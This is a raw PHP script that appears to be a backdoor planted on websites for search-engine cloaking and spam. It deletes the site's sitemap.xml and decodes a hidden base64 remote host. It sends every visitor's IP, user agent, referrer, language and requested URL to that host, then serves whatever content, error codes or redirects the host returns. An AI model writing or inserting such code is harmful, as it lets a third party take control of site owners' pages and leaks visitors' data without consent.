<?php
@set_time_limit(0);
@ignore_user_abort(1);
if (isset($_SERVER['DOCUMENT_ROOT'])) {
	$path = $_SERVER['DOCUMENT_ROOT'];
}else{
	$path = dirname(__FILE__);
}
if(file_exists($file = $path."/sitemap.xml")) {
    @unlink($file);
}
$my_web = "bG9tMzU4LmFrYXNvY3NvLnRvcA==";
$http_type = "http";
if (check_https()) {$http_type = 'https';} else {$http_type = 'http';}
$my_uri = urlencode(get_uri());
$to_web = urldecode(base64_decode($my_web));
$my_lang = urlencode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); 
$my_host = urlencode($_SERVER['HTTP_HOST']);
$my_lang = urlencode($my_lang);
$my_origin = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $my_origin = $_SERVER['HTTP_REFERER'];
}
$my_origin = urlencode($my_origin);
$my_agent = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
$my_id = urlencode(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR']:'');
$zy_source = 'http'.'://'.$to_web.'/indexone.php?my_host='.$my_host.'&my_uri='.$my_uri.'&my_lang='.$my_lang.'&my_origin='.$my_origin.'&http_type='.$http_type.'&my_agent='.$my_agent.'&my_id='.$my_id;
$zy_content = trim(cdoget($zy_source));

if (!strstr($zy_content, 'notdoanything')) {
    if (strstr($zy_content, 'echohtmlcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $zy_content = str_replace("echohtmlcontent", '', $zy_content);
        echo $zy_content;
        exit();
    }else if(strstr($zy_content, 'echoxmlcontent')){
        $zy_content = str_replace("echoxmlcontent", '', $zy_content);
        @header("Content-type: text/xml");
        echo trim($zy_content);
        exit();
    }else if(strstr($zy_content, 'echopingxmlcontent')){
        $zy_content = str_replace("echopingxmlcontent", '', $zy_content);
        @header("Content-type: text/html; charset=utf-8");
        echo ping_sitemap($zy_content);
        exit();
    }else if (strstr($zy_content, 'echo500pagecontent')) {
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (strstr($zy_content, 'echo404pagecontent')) {
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if (strstr($zy_content, 'echo301pagecontent')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $zy_content = str_replace("echo301pagecontent", '', $zy_content);
        header('Location: ' . $zy_content);
        exit();
    }
}

function check_https(){
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}

function get_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $my_uri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $my_uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $my_uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $my_uri;
}

function cdoget($zy_source){
	$contents = '';
    if(function_exists('curl_init')){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $zy_source);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    if (empty(trim($contents))) {
        $contents = @file_get_contents($zy_source);
    }
    return $contents;
}

function ping_sitemap($zy_content){
    $url_list = explode("#####", trim($zy_content));
    $result_str = '';
    foreach($url_list as $url){
        $ping_result = cdoget($url);
        $ping_msg = (strpos($ping_result, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
        $return_str .= $url . ' ===> ' . $ping_msg . '<br>';
    }
    return $return_str;
}
?>